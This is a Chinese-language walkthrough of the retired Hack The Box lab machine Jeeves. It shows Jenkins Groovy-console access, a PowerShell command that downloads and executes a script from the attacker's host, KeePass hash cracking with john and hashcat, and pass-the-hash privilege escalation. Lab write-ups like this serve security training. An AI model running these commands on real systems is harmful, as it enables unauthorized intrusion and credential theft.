[HTB] Jeeves Writeup
2022-8-28 08:45:57 Author: 一个人的安全笔记(查看原文) 阅读量:6 收藏

概述 (Overview)

HOST: 10.10.10.63

OS: Windows

发布时间: 2017-11-12

完成时间: 2021-10-23

机器作者: mrb3n

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #PowerShell #Jenkins #PassTheHash

攻击链 (Kiillchain)

首先使用 Nmap 对目标服务进行端口枚举,通过对 Web 服务进行目录枚举得到隐藏的 Jenkins 服务。利用未授权访问执行命令控制台脚本,成功拿到立足点。

对用户目录进行信息收集时发现 KeePass Password 存储数据库,尝试 Hash 碰撞得到数据访问的明文密码。最终利用数据存储中的 LM:NTLM 进行 Hash 传递完成权限提升。

枚举(Enumeration)

常规使用 Nmap 对目标服务器进行开放端口枚举:

PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

从结果中可以知道目标服务是 Windows 系统,存在一个不常见的 50000 端口,运行 HTTP 服务。

Port 80 - HTTP

浏览器访问 80 端口上的 HTTP 服务,看到提供搜索服务:

对这个功能进行简单的调试,发现会跳转到 /error.html? 路径。

但是很奇怪,鼠标点击页面内容并不能进行文字选择,查看页面源代码发现就是一张图片:

Port 50000 - HTTP

在对 80 端口枚举尝试无果后关注 50000 端口,默认是一个 404 状态的页面:

使用 feroxbuster 工具对 URL 进行目录枚举,尝试看是否存在隐藏内容:

立足点(Foothold)

从结果中看到存在一个 /askjeeves 路径,访问后看到 Jenkins 服务,存在未授权访问能访问管理页面:

查看版本为 ver. 2.87,首先尝试访问 Groovy 脚本控制台,发现功能存在。这意味着可以使用 Groovy 脚本进行命令执行,使用它反弹 shell。

滥用 Jenkins Groovy 脚本控制台获取 Shell[1]

使用文章中对应系统的 script,运行后得到了反弹 Shell 获得初步的立足点。

随后在 kohsuke 用户下找到了 user flag。

权限提升(Privilege Escalation)

首先尝试从 Jenkins 中找凭证信息,尝试看能不能找到明文凭证。secrets\master.key、secrets\hudson.util.Secret 文件都存在,但没有 credentials.xml,说明 Jenkins 服务并没有保存过这类信息。

在信息收集过程中发现 Shell 连接不稳定,就改用 MSF 进行会话维持。本地起一个 Web 服务,PowerShell 加载运行完成上线:

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.17.64/Shell.ps1')"

在 CMD 中使用 findstr 命令进行字符串匹配搜索,发现在 config.xml 文件中存在一组 hash:

C:\Users\Administrator\.jenkins>findstr /si password *.xml *.ini *.txt+
users\admin\config.xml:      <passwordHash>#jbcrypt:$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO</passwordHash>

可惜解不开,随后使用 tree 命令查看下文件夹树形信息,发现存在一个 CEH.kdbx 文件。根据文件后缀名进行搜索,得知它是 Windows 免费密码管理器 KeePass Password Safe 创建的文件,用来存储密码的加密数据库,该数据库只能使用用户设置的主密码进行查看。

开始进行明文密码枚举,使用 keepass2john 生成用于碰撞的 hash:

接着使用 john 结合默认字典进行枚举:

john ./CEH.hash -w /usr/share/wordlists/rockyou.txt --format=KeePass

运行后发现无法解出来,改为用 hashcat 又进行了一次,结果能成功得到明文密码。

hashcat -m 13400 ./hash /usr/share/wordlists/rockyou.txt

拿到明文密码后,直接使用 GUI 工具进行查看,在里面的到一组 hash:

# Install kpcli
$ apt-get install kpcli libterm-readline-gnu-perl libdata-password-perl

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

结合目标系统是 windows,那么这组 hash 很有可能就是 LM:NTLM,使用 cme 进行尝试:

很好,就是 admin 的 hash,hash 传递成功完成提权。

隐藏的 ROOT Flag

尝试在管理员的桌面文件夹寻找 flag,发现存在一个 hm.txt 的文件,但是无法查看提示锁定。

怀疑存在隐藏,在 dir 中加入 /R 参数出现 hm.txt:root.txt:$DATA 文件。

通过搜索了解到含有 :$DATA 结尾的文件,微软文件中叫文件流(File Streams)也有叫 Alternate Data Streams (ADS) 的,文件流可以做为执行文件从命令行执行,但它们不会显示在 Windows 资源管理器(或控制台)中。因为它们很难找到,所以黑客经常使用它们来隐藏他们已经入侵的机器上的文件(可能是 rootkit 的文件)。

When specified from the Windows shell command line, the full name of a stream is "filename:stream name:stream type", as in the following example: "myfile.dat:stream1:$DATA".

File Streams - https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams

运行 more 命令成功得到 root flag。

参考

  • • Alternate Data Streams (ADS) - https://infosecwriteups.com/alternate-data-streams-ads-54b144a831f1

引用链接

[1] 滥用 Jenkins Groovy 脚本控制台获取 Shell: https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490236&idx=1&sn=ae8579aa3874feac5a70b820e96d8656&chksm=8c945d2bbbe3d43dac847616e01beca19b64328fd750f61569855ed8daa3cd0128ed5d28d2af#rd
如有侵权请联系:admin#unsafe.sh